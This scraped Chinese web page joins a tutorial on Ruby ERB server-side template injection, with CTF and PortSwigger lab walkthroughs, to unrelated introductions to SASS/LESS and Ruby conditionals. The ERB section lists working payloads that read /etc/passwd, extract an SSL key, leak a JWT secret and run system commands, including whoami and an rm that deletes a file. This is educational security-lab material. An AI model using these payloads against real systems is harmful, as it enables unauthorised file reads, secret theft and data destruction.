整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

关于Ruby模板的那些事

于Ruby的安全小问题,这里主要探讨其模板注入。

前言

在web应用中,模板的存在不可或缺,很多客户端和服务端也会用到不同语言的模板引擎

1) 客户端模板引擎:主要结合js实现html,一种是常规字符串模板引擎,包括doT.js、dust.js、mustache.js;另一种是Dom模板引擎,包括vue.js、Angular.js、React.js等。

2) 服务端模板引擎:由各服务端语言生成html返回客户端,主要包括:

PHP:Smarty、Twig;

Java:Freemarker、Velocity;

Python:Jinja2、Tornado、Marko;

Ruby:Slim、ERB;

NodeJS:Jade等

模板注入与SQL注入有其类似之处,同作为一种注入攻击,在某些特定场景可能会产生有趣的结果

在本文,主要学习ruby的ERB模板,其易于学习的特质也使其广泛应用于各服务端模板

Ruby-ERB模板注入

ERB属于Ruby标准库中的东西,其语法相较而言比较简单,Ruby On Rails就是使用ERB作为创建文件的模板

我们作为攻击者,基本方法是先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作,该操作可以是读取或写入文件、命令执行或其他操作

ERB基本语法

我们主要需要学习的模板写法有二

  • <%写逻辑脚本(Ruby语法)%>
  • <%=直接输出变量值或运算结果%>
require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())

如果x可控,即可实现常见的ssti

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

还可以进行文件读取

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('test').read
puts erb_object.result(binding())

枚举当前类的可用方法

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())

Ruby全局变量

Ruby全局变量

中文释义

$!

错误信息

$@

错误发生的位置

>$0<

正在执行的程序的名称

$&

成功匹配的字符串

$/

输入分隔符,默认为换行符

$\

输出记录分隔符(print和IO)

$.

上次读取的文件的当前输入行号

$; $-F

默认字段分隔符

$,

输入字符串分隔符,连接多个字符串时用到

$=

不区分大小写

$~

最后一次匹配数据

$`

最后一次匹配前的内容

$’

最后一次匹配后的内容

$+

最后一个括号匹配内容

~

各组匹配结果

$< ARGF

命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin)

$>

打印的默认输出

$_

从输入设备中读取的最后一行

$* ARGV

命令行参数

$$

运行此脚本的Ruby的进程号

$?

最后执行的子进程的状态

$: $-I

加载的二进制模块(库)的路径

$“

数组包含的需要加载的库的名字

$DEBUG $-d

调试标志,由-d开关设置

$LOADED_FEATURES

$“的别名

$FILENAME

来自$<的当前输入文件

$LOAD_PATH

$:

$stderr

当前标准误差输出

$stdin

当前标准输入

$stdout

当前标准输出

$VERBOSE $-v

详细标志,由-w或-v开关设置

$-0

$/

$-a

只读

$-i

在in-place-edit模式下,此变量保存扩展名

NIL

0本身

ENV

当前环境变量

RUBY_VERSION

Ruby版本

RUBY_RELEASE_DATE

发布日期

RUBY_PLATFORM

平台标识符

一些常用payload

<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %>    //枚举该对象可用的属性及方法
<%= self.class.name %>   //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %>  //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>   //提取key值

靶场演示

  • [SCTF2019]Flag Shop

/filebak

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

我们可以判断出主要的漏洞点在于以下代码中

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
en

我们是想得到jwt的secret

而在这段代码我们可以看到,ERB会对传入密钥进行正则匹配且对于其存在一个字数限制,当传入的参数do和params相等的话会弹出#{params[:name][0,7]} working successfully!')</script>

而在ruby的全局变量中,存在这么一个全局变量:$’-- 最后一次匹配后的内容,所以我们就可以利用这个对匹配的字符进行读取得到secret

payload

work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

得到secret

后续进行伪造即可,难度不高,网上wp详细

还有另外一种解法,即利用HTTP参数传递类型的差异进行绕过,详见http://mon0dy.top/2022/04/04/Ruby ERB模板注入/#sctf2019flag-shop

  • Basic server-side template injection(Lab: Basic server-side template injection | Web Security Academy (portswigger.net))

这里用portswigger的靶场深入了解一下ERB模板注入

我们可以看到,当我们尝试查看有关第一个产品的更多详细信息时,GET请求会使用message参数,并把其内容“Unfortunately this product is out of stock"在主页上打印出来

而在ERB模板文档中,存在这么一个用法

<%= someExpression %>用于评估表达式并将结果呈现在页面上

所以我们不妨尝试一下,看他能不能把我们想要的打印出来

<%=7*7%>

七七四十九,很明显是可以打印出来的,那么我们就知道这message参数我们是可控的,这里就存在ERB模板注入问题

而在ERB文档中,依旧存在我们喜闻乐见的system()函数

那么我们不妨whoami一下看看

确实可以运行,当前用户为carlos

那么这道题目解决就需要删除特定文件morale.txt即可,根据题目与目录翻找得到文件路径

/home/carlos/morale.txt

删除文件

<%=system("rm%20/home/carlos/morale.txt")%>

后言

与常见的ssti一致,都需先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作进行读取或写入文件、命令执行或其他操作,而其可以执行的操作由可用的类方法/函数可以执行的操作决定,所需要注意防范的点也多在于这些点上,尤其对于敏感信息的泄露问题,需多加注意。


from https://www.freebuf.com/articles/web/367143.html

CSS(层叠样式表)是一门非程序式语言,入门学习使用非常直观方便,但是对于一些比较复杂或者重用性比较强的项目来说,因为CSS没有变量、函数、SCOPE(作用域),需要书写大量看似没有逻辑的代码,不方便维护及扩展,不利于复用,尤其对于非前端开发工程师来讲,往往会因为缺少 CSS 编写经验而很难写出组织良好且易于维护的 CSS 代码。

为了方便前端开发的工作量,出现了sass和less。


SASS和LESS

SASS(英文全称:Syntactically Awesome Stylesheets)Sass 诞生于 2007 年,使用Ruby 编写,是一种对css的一种扩展提升,增加了规则、变量、混入、选择器、继承等等特性。

可以理解为用js的方式去书写,然后编译成css。比如说,sass中可以把反复使用的css属性值定义成变量,然后通过变量名来引用它们,而无需重复书写这一属性值。


LESS(2009年开源的一个项目,受Sass的影响较大,但又使用CSS的语法,让大部分开发者和设计师更容易上手。

LESS保留了css的任何功能,同时提供了多种方式能平滑的将写好的代码转化成标准的CSS代码,可以在任何使用随时切换到css的语法进行书写。

SASS和LESS****使用

传统的css可以直接被html引用,但是sass和less由于使用了类似JavaScript的方式去书写,所以必须要经过编译生成css,而html引用只能引用编译之后的css文件,虽然过程多了一层,但是毕竟sass/less在书写的时候就方便很多,所以在我们使用sass/less之前,只要我们提前设置好,就可以直接生成对应的css文件,而我们只需要关心我们的sass/less文件即可。

Sass的语法规则,可以参考下SASS中文网:https://www.sass.hk/


SASS技术的文件的后缀名有两种形式:.sass和.scss。其实两者都是同一种东西,两种均可以可以通过编译生成浏览器能识别的css文件。这两种的区别:

  1. 扩展名不同;
  2. SCSS 的语法书写和CSS 语法书写方式非常类似,.sass文件对代码的排版有着非常严格的要求,而且没有大括号,没有分号;

Sass 语法

$font-stack: Helvetica, sans-serif //定义变量

$primary-color: #333 //定义变量

body

font: 100% $font-stack

color: $primary-color

SCSS 语法

$font-stack: Helvetica, sans-serif;

$primary-color: #333;

body {

font: 100% $font-stack;

color: $primary-color;

}

编译出来的 CSS

body {

font: 100% Helvetica, sans-serif;

color: #333;

}

LESS技术的后缀名只有一种,就是.less,语法规则和sass大同小异,详细可以参考less中文网http://lesscss.cn/

LESS使用分为两种:

  1. 直接在浏览器中引入less编译器js文件和less文件,直接渲染编译为css文应用到当前页面中。
  2. less文件通过编译成为css之后引用css;

/* Less */

  @color: #999;

  @bgColor: skyblue;//不要添加引号

  @width: 50%;

  #wrap {

color: @color;

width: @width;

  }

uby 是一种开源的面向对象程序设计的服务器端脚本语言,在 20 世纪 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)设计并开发。在 Ruby 社区,松本也被称为马茨(Matz)。Ruby 可运行于多种平台,如 Windows、MAC OS 和 UNIX 的各种版本。

Ruby 提供了几种很常见的条件结构。在这里,我们将解释所有的条件语句和 Ruby 中可用的修饰符。

Ruby if...else 语句

语法

if conditional [then]
      code...
[elsif conditional [then]
      code...]...
[else
      code...]
end

if 表达式用于条件执行。值 false 和 nil 为假,其他值都为真。请注意,Ruby 使用 elsif,不是使用 else if 和 elif。
如果 conditional 为真,则执行 code。如果 conditional 不为真,则执行 else 子句中指定的 code。
通常我们省略保留字 then 。若想在一行内写出完整的 if 式,则必须以 then 隔开条件式和程式区块。如下所示:

if a == 4 then a = 7 end

实例

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
 
x=1
if x > 2
   puts "x 大于 2"
elsif x <= 2 and x!=0
   puts "x 是 1"
else
   puts "无法得知 x 的值"
end

以上实例输出结果:

x 是 1

Ruby if 修饰符

语法

code if condition

if修饰词组表示当 if 右边之条件成立时才执行 if 左边的式子。即如果 conditional 为真,则执行 code。

实例

#!/usr/bin/ruby
 
$debug=1
print "debug\n" if $debug

以上实例输出结果:

debug

Ruby unless 语句

语法

unless conditional [then]
   code
[else
   code ]
end

unless式和 if式作用相反,即如果 conditional 为假,则执行 code。如果 conditional 为真,则执行 else 子句中指定的 code。

实例

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
 
x=1
unless x>2
   puts "x 小于 2"
 else
  puts "x 大于 2"
end

以上实例输出结果为:

x 小于 2

Ruby unless 修饰符

语法

code unless conditional

如果 conditional 为假,则执行 code。

实例

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
 
$var =  1
print "1 -- 这一行输出\n" if $var
print "2 -- 这一行不输出\n" unless $var
 
$var = false
print "3 -- 这一行输出\n" unless $var

以上实例输出结果:

1 -- 这一行输出
3 -- 这一行输出

Ruby case 语句

语法

case expression
[when expression [, expression ...] [then]
   code ]...
[else
   code ]
end

case先对一个 expression 进行匹配判断,然后根据匹配结果进行分支选择。
它使用 ===运算符比较 when 指定的 expression,若一致的话就执行 when 部分的内容。
通常我们省略保留字 then 。若想在一行内写出完整的 when 式,则必须以 then 隔开条件式和程式区块。如下所示:

when a == 4 then a = 7 end

因此:

case expr0
when expr1, expr2
   stmt1
when expr3, expr4
   stmt2
else
   stmt3
end

基本上类似于:

_tmp = expr0
if expr1 === _tmp || expr2 === _tmp
   stmt1
elsif expr3 === _tmp || expr4 === _tmp
   stmt2
else
   stmt3
end

实例

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
 
$age =  5
case $age
when 0 .. 2
    puts "婴儿"
when 3 .. 6
    puts "小孩"
when 7 .. 12
    puts "child"
when 13 .. 18
    puts "少年"
else
    puts "其他年龄段的"
end

以上实例输出结果为:

小孩

当case的"表达式"部分被省略时,将计算第一个when条件部分为真的表达式。

foo = false
bar = true
quu = false
 
case
when foo then puts 'foo is true'
when bar then puts 'bar is true'
when quu then puts 'quu is true'
end
# 显示 "bar is true"

https://www.linuxprobe.com/learn-ruby-judgment.html